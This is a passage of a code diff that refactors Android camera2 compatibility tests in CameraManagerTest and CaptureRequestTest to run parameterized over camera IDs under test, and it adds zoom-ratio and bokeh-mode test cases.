+ fail("Should get IllegalStateException for closed camera.");
+ } catch (IllegalStateException e) {
+ // expected;
+ }
+
+ cam0 = null;
+ cam0Cb = null;
+ expectMode = mode1;
+ cam1.setCameraAudioRestriction(mode1);
+ retMode = cam1.getCameraAudioRestriction();
+ assertTrue("Audio restriction mode mismatch: expect: " + expectMode +
+ ", output:" + retMode, retMode == expectMode);
+ } finally {
+ if (cam0 != null) {
+ cam0.close();
+ cam0Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+ cam0Cb = null;
+ }
+ if (cam1 != null) {
+ cam1.close();
+ cam1Cb.waitForState(STATE_CLOSED, CAMERA_CLOSE_TIMEOUT_MS);
+ cam1Cb = null;
+ }
+ }
+ }
+
+ @Test
+ public void testAudioRestrictionMultipleDevices() throws Exception {
+ if (mCameraIdsUnderTest.length < 2) {
+ Log.i(TAG, "device doesn't have multiple cameras, skipping");
+ return;
+ }
+
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
+ for (int j = i+1; j < mCameraIdsUnderTest.length; j++) {
+ testTwoCameraDevicesAudioRestriction(mCameraIdsUnderTest[i], mCameraIdsUnderTest[j]);
+ }
+ }
+ }
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
index 4457f95..922dc3c 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CameraManagerTest.java
@@ -19,6 +19,7 @@
import static org.mockito.Mockito.*;
import static org.mockito.AdditionalMatchers.not;
import static org.mockito.AdditionalMatchers.and;
+import static junit.framework.Assert.*;
import android.app.ActivityManager;
import android.app.Instrumentation;
@@ -31,6 +32,7 @@
import android.hardware.camera2.CameraDevice;
import android.hardware.camera2.CameraDevice.StateCallback;
import android.hardware.camera2.CameraManager;
+import android.hardware.camera2.cts.Camera2ParameterizedTestCase;
import android.hardware.camera2.cts.CameraTestUtils.HandlerExecutor;
import android.hardware.camera2.cts.CameraTestUtils.MockStateCallback;
import android.hardware.camera2.cts.helpers.CameraErrorCollector;
@@ -45,6 +47,9 @@
import com.android.compatibility.common.util.PropertyUtil;
import com.android.ex.camera2.blocking.BlockingStateCallback;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
+import org.junit.Test;
import org.mockito.ArgumentCaptor;
import org.mockito.InOrder;
@@ -61,13 +66,14 @@
/**
* <p>Basic test for CameraManager class.</p>
*/
-public class CameraManagerTest extends AndroidTestCase {
+
+@RunWith(Parameterized.class)
+public class CameraManagerTest extends Camera2ParameterizedTestCase {
private static final String TAG = "CameraManagerTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
private static final int NUM_CAMERA_REOPENS = 10;
private PackageManager mPackageManager;
- private CameraManager mCameraManager;
private NoopCameraListener mListener;
private HandlerThread mHandlerThread;
private Handler mHandler;
@@ -75,18 +81,11 @@
private CameraErrorCollector mCollector;
@Override
- public void setContext(Context context) {
- super.setContext(context);
- mCameraManager = (CameraManager)context.getSystemService(Context.CAMERA_SERVICE);
- assertNotNull("Can't connect to camera manager", mCameraManager);
- mPackageManager = context.getPackageManager();
+ public void setUp() throws Exception {
+ super.setUp();
+ mPackageManager = mContext.getPackageManager();
assertNotNull("Can't get package manager", mPackageManager);
mListener = new NoopCameraListener();
- }
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
/**
* Workaround for mockito and JB-MR2 incompatibility
@@ -94,7 +93,7 @@
* Avoid java.lang.IllegalArgumentException: dexcache == null
* https://code.google.com/p/dexmaker/issues/detail?id=2
*/
- System.setProperty("dexmaker.dexcache", getContext().getCacheDir().toString());
+ System.setProperty("dexmaker.dexcache", mContext.getCacheDir().toString());
mCameraListener = spy(new BlockingStateCallback());
@@ -105,7 +104,7 @@
}
@Override
- protected void tearDown() throws Exception {
+ public void tearDown() throws Exception {
mHandlerThread.quitSafely();
mHandler = null;
@@ -137,10 +136,10 @@
return -1; // unreachable
}
+ @Test
public void testCameraManagerGetDeviceIdList() throws Exception {
- // Test: that the getCameraIdList method runs without exceptions.
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
if (VERBOSE) Log.v(TAG, "CameraManager ids: " + Arrays.toString(ids));
/**
@@ -197,8 +196,9 @@
}
// Test: that properties can be queried from each device, without exceptions.
+ @Test
public void testCameraManagerGetCameraCharacteristics() throws Exception {
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
for (int i = 0; i < ids.length; i++) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
assertNotNull(
@@ -207,8 +207,9 @@
}
// Test: that an exception is thrown if an invalid device id is passed down.
+ @Test
public void testCameraManagerInvalidDevice() throws Exception {
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
// Create an invalid id by concatenating all the valid ids together.
StringBuilder invalidId = new StringBuilder();
invalidId.append("INVALID");
@@ -226,6 +227,7 @@
}
// Test: that each camera device can be opened one at a time, several times.
+ @Test
public void testCameraManagerOpenCamerasSerially() throws Exception {
testCameraManagerOpenCamerasSerially(/*useExecutor*/ false);
testCameraManagerOpenCamerasSerially(/*useExecutor*/ true);
@@ -233,7 +235,7 @@
private void testCameraManagerOpenCamerasSerially(boolean useExecutor) throws Exception {
final Executor executor = useExecutor ? new HandlerExecutor(mHandler) : null;
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
for (int i = 0; i < ids.length; i++) {
for (int j = 0; j < NUM_CAMERA_REOPENS; j++) {
CameraDevice camera = null;
@@ -268,13 +270,14 @@
* Test: one or more camera devices can be open at the same time, or the right error state
* is set if this can't be done.
*/
+ @Test
public void testCameraManagerOpenAllCameras() throws Exception {
testCameraManagerOpenAllCameras(/*useExecutor*/ false);
testCameraManagerOpenAllCameras(/*useExecutor*/ true);
}
private void testCameraManagerOpenAllCameras(boolean useExecutor) throws Exception {
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
assertNotNull("Camera ids shouldn't be null", ids);
// Skip test if the device doesn't have multiple cameras.
@@ -451,13 +454,14 @@
* Test: that opening the same device multiple times and make sure the right
* error state is set.
*/
+ @Test
public void testCameraManagerOpenCameraTwice() throws Exception {
testCameraManagerOpenCameraTwice(/*useExecutor*/ false);
testCameraManagerOpenCameraTwice(/*useExecutor*/ true);
}
private void testCameraManagerOpenCameraTwice(boolean useExecutor) throws Exception {
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
final Executor executor = useExecutor ? new HandlerExecutor(mHandler) : null;
// Test across every camera device.
@@ -523,6 +527,7 @@
* Registering a listener multiple times should have no effect, and unregistering
* a listener that isn't registered should have no effect.
*/
+ @Test
public void testCameraManagerListener() throws Exception {
mCameraManager.unregisterAvailabilityCallback(mListener);
// Test Handler API
@@ -541,6 +546,7 @@
/**
* Test that the availability callbacks fire when expected
*/
+ @Test
public void testCameraManagerListenerCallbacks() throws Exception {
testCameraManagerListenerCallbacks(/*useExecutor*/ false);
testCameraManagerListenerCallbacks(/*useExecutor*/ true);
@@ -556,6 +562,17 @@
CameraManager.AvailabilityCallback ac = new CameraManager.AvailabilityCallback() {
@Override
public void onCameraAvailable(String cameraId) {
+ try {
+ // When we're testing system cameras, we don't list non system cameras in the
+ // camera id list as mentioned in Camera2ParameterizedTest.java
+ if (mAdoptShellPerm &&
+ !CameraTestUtils.isSystemCamera(mCameraManager, cameraId)) {
+ return;
+ }
+ } catch (CameraAccessException e) {
+ fail("CameraAccessException thrown when attempting to access camera" +
+ "characteristics" + cameraId);
+ }
availableEventQueue.offer(cameraId);
}
@@ -570,7 +587,7 @@
} else {
mCameraManager.registerAvailabilityCallback(ac, mHandler);
}
- String[] cameras = mCameraManager.getCameraIdList();
+ String[] cameras = mCameraIdsUnderTest;
if (cameras.length == 0) {
Log.i(TAG, "No cameras present, skipping test");
@@ -683,12 +700,13 @@
} // testCameraManagerListenerCallbacks
// Verify no LEGACY-level devices appear on devices first launched in the Q release or newer
+ @Test
public void testNoLegacyOnQ() throws Exception {
if(PropertyUtil.getFirstApiLevel() < Build.VERSION_CODES.Q){
// LEGACY still allowed for devices upgrading to Q
return;
}
- String[] ids = mCameraManager.getCameraIdList();
+ String[] ids = mCameraIdsUnderTest;
for (int i = 0; i < ids.length; i++) {
CameraCharacteristics props = mCameraManager.getCameraCharacteristics(ids[i]);
assertNotNull(
@@ -703,14 +721,15 @@
}
}
+ @Test
public void testCameraManagerWithDnD() throws Exception {
- String[] cameras = mCameraManager.getCameraIdList();
+ String[] cameras = mCameraIdsUnderTest;
if (cameras.length == 0) {
Log.i(TAG, "No cameras present, skipping test");
return;
}
- ActivityManager am = getContext().getSystemService(ActivityManager.class);
+ ActivityManager am = mContext.getSystemService(ActivityManager.class);
// Go devices do not support all interrupt filtering functionality
if (am.isLowRamDevice()) {
@@ -718,12 +737,12 @@
}
// Allow the test package to adjust notification policy
- toggleNotificationPolicyAccess(getContext().getPackageName(),
+ toggleNotificationPolicyAccess(mContext.getPackageName(),
InstrumentationRegistry.getInstrumentation(), true);
// Enable DnD filtering
- NotificationManager nm = getContext().getSystemService(NotificationManager.class);
+ NotificationManager nm = mContext.getSystemService(NotificationManager.class);
try {
nm.setInterruptionFilter(NotificationManager.INTERRUPTION_FILTER_NONE);
@@ -755,7 +774,7 @@
runCommand(command, instrumentation);
- NotificationManager nm = getContext().getSystemService(NotificationManager.class);
+ NotificationManager nm = mContext.getSystemService(NotificationManager.class);
assertEquals("Notification Policy Access Grant is " +
nm.isNotificationPolicyAccessGranted() + " not " + on, on,
nm.isNotificationPolicyAccessGranted());
@@ -764,17 +783,14 @@
private void runCommand(String command, Instrumentation instrumentation) throws IOException {
UiAutomation uiAutomation = instrumentation.getUiAutomation();
// Execute command
- try (ParcelFileDescriptor fd = uiAutomation.executeShellCommand(command)) {
- assertNotNull("Failed to execute shell command: " + command, fd);
- // Wait for the command to finish by reading until EOF
- try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
- byte[] buffer = new byte[4096];
- while (in.read(buffer) > 0) {}
- } catch (IOException e) {
- throw new IOException("Could not read stdout of command: " + command, e);
- }
- } finally {
- uiAutomation.destroy();
+ ParcelFileDescriptor fd = mUiAutomation.executeShellCommand(command);
+ assertNotNull("Failed to execute shell command: " + command, fd);
+ // Wait for the command to finish by reading until EOF
+ try (InputStream in = new FileInputStream(fd.getFileDescriptor())) {
+ byte[] buffer = new byte[4096];
+ while (in.read(buffer) > 0) {}
+ } catch (IOException e) {
+ throw new IOException("Could not read stdout of command: " + command, e);
}
}
diff --git a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
index 53decc1..961e7c6 100644
--- a/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
+++ b/tests/camera/src/android/hardware/camera2/cts/CaptureRequestTest.java
@@ -33,6 +33,7 @@
import android.hardware.camera2.cts.helpers.StaticMetadata;
import android.hardware.camera2.cts.testcases.Camera2SurfaceViewTestCase;
import android.hardware.camera2.params.BlackLevelPattern;
+import android.hardware.camera2.params.Capability;
import android.hardware.camera2.params.ColorSpaceTransform;
import android.hardware.camera2.params.Face;
import android.hardware.camera2.params.LensShadingMap;
@@ -53,6 +54,8 @@
import java.util.Arrays;
import java.util.List;
+import org.junit.runners.Parameterized;
+import org.junit.runner.RunWith;
import org.junit.Test;
/**
@@ -64,6 +67,8 @@
* manual ISP control and other per-frame control and synchronization.
* </p>
*/
+
+@RunWith(Parameterized.class)
public class CaptureRequestTest extends Camera2SurfaceViewTestCase {
private static final String TAG = "CaptureRequestTest";
private static final boolean VERBOSE = Log.isLoggable(TAG, Log.VERBOSE);
@@ -148,9 +153,9 @@
SurfaceTexture outputTexture = new SurfaceTexture(/* random texture ID */ 5);
Surface surface = new Surface(outputTexture);
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
requestBuilder.addTarget(surface);
@@ -237,14 +242,14 @@
*/
@Test
public void testBlackLevelLock() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -291,7 +296,7 @@
*/
@Test
public void testDynamicBlackWhiteLevel() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isDynamicBlackLevelSupported()) {
continue;
@@ -319,11 +324,11 @@
*/
@Test
public void testLensShadingMap() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIds[i]);
+ StaticMetadata staticInfo = mAllStaticInfo.get(mCameraIdsUnderTest[i]);
if (!staticInfo.isManualLensShadingMapSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" doesn't support lens shading controls, skipping test");
continue;
}
@@ -335,7 +340,7 @@
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -397,15 +402,15 @@
*/
@Test
public void testAntiBandingModes() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
// Without manual sensor control, exposure time cannot be verified
- if (!mAllStaticInfo.get(mCameraIds[i]).isCapabilitySupported(
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isCapabilitySupported(
CameraCharacteristics.REQUEST_AVAILABLE_CAPABILITIES_MANUAL_SENSOR)) {
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
int[] modes = mStaticInfo.getAeAvailableAntiBandingModesChecked();
Size previewSz =
@@ -433,15 +438,15 @@
*/
@Test(timeout=60*60*1000) // timeout = 60 mins for long running tests
public void testAeModeAndLock() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
Size maxPreviewSz = mOrderedPreviewSizes.get(0); // Max preview size.
// Update preview surface with given size for all sub-tests.
@@ -466,15 +471,15 @@
*/
@Test
public void testFlashControl() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -510,19 +515,19 @@
*/
@Test
public void testFlashTurnOff() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- if (!mAllStaticInfo.get(mCameraIds[i]).hasFlash()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).hasFlash()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support flash, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
SimpleCaptureCallback listener = new SimpleCaptureCallback();
CaptureRequest.Builder requestBuilder =
mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
@@ -530,7 +535,7 @@
Size maxPreviewSz = mOrderedPreviewSizes.get(0); // Max preview size.
startPreview(requestBuilder, maxPreviewSz, listener);
- boolean isLegacy = CameraUtils.isLegacyHAL(mCameraManager, mCameraIds[i]);
+ boolean isLegacy = CameraUtils.isLegacyHAL(mCameraManager, mCameraIdsUnderTest[i]);
flashTurnOffTest(listener, isLegacy,
/* initiaAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH,
/* offAeControl */CaptureRequest.CONTROL_AE_MODE_ON_ALWAYS_FLASH);
@@ -556,14 +561,14 @@
*/
@Test
public void testFaceDetection() throws Exception {
- for (int i = 0; i < mCameraIds.length; i++) {
+ for (int i = 0; i < mCameraIdsUnderTest.length; i++) {
try {
- if (!mAllStaticInfo.get(mCameraIds[i]).isColorOutputSupported()) {
- Log.i(TAG, "Camera " + mCameraIds[i] +
+ if (!mAllStaticInfo.get(mCameraIdsUnderTest[i]).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + mCameraIdsUnderTest[i] +
" does not support color outputs, skipping");
continue;
}
- openDevice(mCameraIds[i]);
+ openDevice(mCameraIdsUnderTest[i]);
faceDetectionTestByCamera();
} finally {
closeDevice();
@@ -576,7 +581,7 @@
*/
@Test
public void testToneMapControl() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isManualToneMapSupported()) {
Log.i(TAG, "Camera " + id +
@@ -596,7 +601,7 @@
*/
@Test
public void testColorCorrectionControl() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorCorrectionSupported()) {
Log.i(TAG, "Camera " + id +
@@ -616,7 +621,7 @@
*/
@Test
public void testEdgeModeControl() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isEdgeModeControlSupported()) {
Log.i(TAG, "Camera " + id +
@@ -638,7 +643,7 @@
*/
@Test
public void testEdgeModeControlFastFps() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isEdgeModeControlSupported()) {
Log.i(TAG, "Camera " + id +
@@ -661,7 +666,7 @@
*/
@Test
public void testFocusDistanceControl() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
StaticMetadata staticInfo = mAllStaticInfo.get(id);
if (!staticInfo.hasFocuser()) {
@@ -689,7 +694,7 @@
*/
@Test
public void testNoiseReductionModeControl() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isNoiseReductionModeControlSupported()) {
Log.i(TAG, "Camera " + id +
@@ -711,7 +716,7 @@
*/
@Test
public void testNoiseReductionModeControlFastFps() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isNoiseReductionModeControlSupported()) {
Log.i(TAG, "Camera " + id +
@@ -735,7 +740,7 @@
*/
@Test
public void testAwbModeAndLock() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -754,7 +759,7 @@
*/
@Test
public void testAfModes() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -773,7 +778,7 @@
*/
@Test
public void testCameraStabilizations() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
StaticMetadata staticInfo = mAllStaticInfo.get(id);
List<Key<?>> keys = staticInfo.getCharacteristics().getKeys();
@@ -802,7 +807,7 @@
*/
@Test
public void testDigitalZoom() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -818,12 +823,33 @@
}
/**
+ * Test zoom using CONTROL_ZOOM_RATIO, validate the returned crop regions and zoom ratio.
+ * The max preview size is used for each camera.
+ */
+ @Test
+ public void testZoomRatio() throws Exception {
+ for (String id : mCameraIdsUnderTest) {
+ try {
+ if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+ continue;
+ }
+ openDevice(id);
+ Size maxPreviewSize = mOrderedPreviewSizes.get(0);
+ zoomRatioTestByCamera(maxPreviewSize);
+ } finally {
+ closeDevice();
+ }
+ }
+ }
+
+ /**
* Test digital zoom and all preview size combinations.
* TODO: this and above test should all be moved to preview test class.
*/
@Test
public void testDigitalZoomPreviewCombinations() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -842,7 +868,7 @@
*/
@Test
public void testSceneModes() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (mAllStaticInfo.get(id).isSceneModeSupported()) {
openDevice(id);
@@ -859,7 +885,7 @@
*/
@Test
public void testEffectModes() throws Exception {
- for (String id : mCameraIds) {
+ for (String id : mCameraIdsUnderTest) {
try {
if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
@@ -873,6 +899,26 @@
}
}
+ /**
+ * Test bokeh mode controls.
+ */
+ @Test
+ public void testBokehModes() throws Exception {
+ for (String id : mCameraIdsUnderTest) {
+ try {
+ if (!mAllStaticInfo.get(id).isColorOutputSupported()) {
+ Log.i(TAG, "Camera " + id + " does not support color outputs, skipping");
+ continue;
+ }
+ openDevice(id);
+ List<Range<Integer>> fpsRanges = getTargetFpsRangesUpTo30(mStaticInfo);
+ bokehModeTestByCamera(fpsRanges);
+ } finally {
+ closeDevice();
+ }
+ }
+ }
+
// TODO: add 3A state machine test.
/**
@@ -1450,7 +1496,6 @@
* CaptureRequest.CONTROL_AE_MODE_ON or CaptureRequest.CONTROL_AE_MODE_OFF
*
* @param listener The Capture listener that is used to wait for capture result
- * @param isLegacy Boolean specifying if the camera device being tested is a legacy device
* @param initialAeControl The initial AE_CONTROL mode to start repeating requests with.
* @param flashOffAeControl The final AE_CONTROL mode which is expected to turn flash off for
* TEMPLATE_PREVIEW repeating requests.
@@ -2565,6 +2610,8 @@
}
final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+ final Rect defaultCropRegion = new Rect(0, 0,
+ activeArraySize.width(), activeArraySize.height());
Rect[] cropRegions = new Rect[ZOOM_STEPS];
MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
CaptureRequest.Builder requestBuilder =
@@ -2610,7 +2657,8 @@
* Submit capture request
*/
float zoomFactor = (float) (1.0f + (maxZoom - 1.0) * i / ZOOM_STEPS);
- cropRegions[i] = getCropRegionForZoom(zoomFactor, center, maxZoom, activeArraySize);
+ cropRegions[i] = getCropRegionForZoom(zoomFactor, center,
+ maxZoom, defaultCropRegion);
if (VERBOSE) {
Log.v(TAG, "Testing Zoom for factor " + zoomFactor + " and center " +
center + " The cropRegion is " + cropRegions[i] +
@@ -2671,7 +2719,7 @@
// Verify Output 3A region is intersection of input 3A region and crop region
for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
- validate3aRegion(result, algo, expectRegions[i]);
+ validate3aRegion(result, algo, expectRegions[i], false/*scaleByZoomRatio*/);
}
previousCrop = cropRegion;
@@ -2689,6 +2737,120 @@
}
}
+ private void zoomRatioTestByCamera(Size previewSize) throws Exception {
+ final int ZOOM_STEPS = 15;
+ final Range<Float> zoomRatioRange = mStaticInfo.getZoomRatioRangeChecked();
+ // The error margin is derive from a VGA size camera zoomed all the way to 10x, in which
+ // case the cropping error can be as large as 480/46 - 480/48 = 0.435.
+ final float ZOOM_ERROR_MARGIN = 0.05f;
+
+ final Rect activeArraySize = mStaticInfo.getActiveArraySizeChecked();
+ final Rect defaultCropRegion =
+ new Rect(0, 0, activeArraySize.width(), activeArraySize.height());
+ MeteringRectangle[][] expectRegions = new MeteringRectangle[ZOOM_STEPS][];
+ CaptureRequest.Builder requestBuilder =
+ mCamera.createCaptureRequest(CameraDevice.TEMPLATE_PREVIEW);
+ requestBuilder.set(CaptureRequest.SCALER_CROP_REGION, defaultCropRegion);
+ SimpleCaptureCallback listener = new SimpleCaptureCallback();
+
+ updatePreviewSurface(previewSize);
+ configurePreviewOutput(requestBuilder);
+
+ // Set algorithm regions to full active region
+ final MeteringRectangle[] defaultMeteringRect = new MeteringRectangle[] {
+ new MeteringRectangle (
+ /*x*/0, /*y*/0, activeArraySize.width(), activeArraySize.height(),
+ /*meteringWeight*/1)
+ };
+
+ for (int algo = 0; algo < NUM_ALGORITHMS; algo++) {
+ update3aRegion(requestBuilder, algo, defaultMeteringRect);
+ }
+
+ final int captureSubmitRepeat;
+ {
+ int maxLatency = mStaticInfo.getSyncMaxLatency();
+ if (maxLatency == CameraMetadata.SYNC_MAX_LATENCY_UNKNOWN) {
+ captureSubmitRepeat = NUM_FRAMES_WAITED_FOR_UNKNOWN_LATENCY + 1;
+ } else {
+ captureSubmitRepeat = maxLatency + 1;
+ }
+ }
+
+ float previousRatio = zoomRatioRange.getLower();
+ for (int i = 0; i < ZOOM_STEPS; i++) {
+ /*
+ * Submit capture request
+ */
+ float zoomFactor = zoomRatioRange.getLower() + (zoomRatioRange.getUpper() -
+ zoomRatioRange.getLower()) * i / ZOOM_STEPS;
+ if (VERBOSE) {
+ Log.v(TAG, "Testing Zoom ratio " + zoomFactor + " Preview size is " + previewSize);
+ }
+ requestBuilder.set(CaptureRequest.CONTROL_ZOOM_RATIO, zoomFactor);
+ CaptureRequest request = requestBuilder.build();
+ for (int j = 0; j < captureSubmitRepeat; ++j) {
+ mSession.capture(request, listener, mHandler);
+ }
+
+ /*
+ * Validate capture result
+ */
+ waitForNumResults(listener, captureSubmitRepeat - 1); // Drop first few frames
+ CaptureResult result = listener.getCaptureResultForRequest(
+ request, NUM_RESULTS_WAIT_TIMEOUT);
+ float resultZoomRatio = getValueNotNull(result, CaptureResult.CONTROL_ZOOM_RATIO);
+ Rect cropRegion = getValueNotNull(result, CaptureResult.SCALER_CROP_REGION);
+
+ /*
+ * Validate resulting crop regions and zoom ratio
+ */
+ mCollector.expectTrue(String.format(
+ "Zoom ratio should increase or stay the same " +
+ "(previous = %f, current = %f)",
+ previousRatio, resultZoomRatio),
+ Math.abs(previousRatio - resultZoomRatio) < ZOOM_ERROR_MARGIN ||
+ (previousRatio < resultZoomRatio));
+
+ mCollector.expectTrue(String.format(
+ "Request and result zoom ratio should be similar " +
+ "(requested = %f, result = %f", zoomFactor, resultZoomRatio),
+ Math.abs(zoomFactor - resultZoomRatio)/zoomFactor <= ZOOM_ERROR_MARGIN);
+
+ //In case zoom ratio is converted to crop region at HAL, due to error magnification
+ //when converting to post-zoom crop region, scale the error threshold for crop region
+ //check.
+ float errorMultiplier = Math.max(1.0f, zoomFactor);
+ if (mStaticInfo.isHardwareLevelAtLeastLimited()) {
+ mCollector.expectRectsAreSimilar(
+ "Request and result crop region should be similar",
+ activeArraySize, cropRegion,
+ CROP_REGION_ERROR_PERCENT_DELTA * errorMultiplier);
+ }
+
+ mCollector.expectRectCentered(
+ "Result crop region should be centered inside the active array",
+ new Size(activeArraySize.width(), activeArraySize.height()),
+ cropRegion, CROP_REGION_ERROR_PERCENT_CENTERED * errorMultiplier);
+
+ /*
+ * Validate resulting metering regions
+ */
+ // Use the actual reported crop region to calculate the resulting metering region
+ expectRegions[i] = getExpectedOutputRegion(
+ /*requestRegion*/defaultMeteringRect,
+ /*cropRect*/ cropRegion);
+
+ // Verify Output 3A region is intersection of input 3A region and crop region
+ boolean scaleByZoomRatio = zoomFactor > 1.0f;
